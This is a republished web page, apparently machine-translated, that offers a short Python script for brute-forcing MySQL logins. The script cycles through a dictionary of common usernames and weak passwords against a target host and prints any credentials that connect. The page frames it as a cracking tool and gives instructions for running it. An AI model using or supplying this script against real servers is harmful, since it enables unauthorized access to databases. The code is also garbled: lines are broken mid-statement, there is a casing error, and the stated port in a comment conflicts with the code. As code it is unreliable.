Python version of the Mysql explosion small script _mysql

Source: Internet
Author: User

Mysql python version of the explosion small script, you need to install the Python plug-in Mysql-python.exe, you can see the small amount of code, (note: The username and password are similar dictionaries.) Usage: Save code for mysqldatabaseblasting.py,cmd switch to mysqldatabaseblasting.py path, and execute mysqldatabaseblasting.py to start cracking

Import mysqldb
#coding =gbk
#目标IP MySQL database must be open 3360 remote login port
mysql_username = (' root ', ' test ', ' admin ', ' user ' #账号字典
Common_weak_password = (', ' 123456 ', ' Test ', ' root ', ' admin ', ' user ') #密码字典

success = False
host = " 127.0.0.1 "#数据库IP地址
port = 3306 for
username in mysql_username: for
  password in Common_weak_password:
    Try:
      db = MySQLdb.connect (host, username, password)
      success = True
      if success:
        print username, Password
    except Exception, E:
      Pass

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.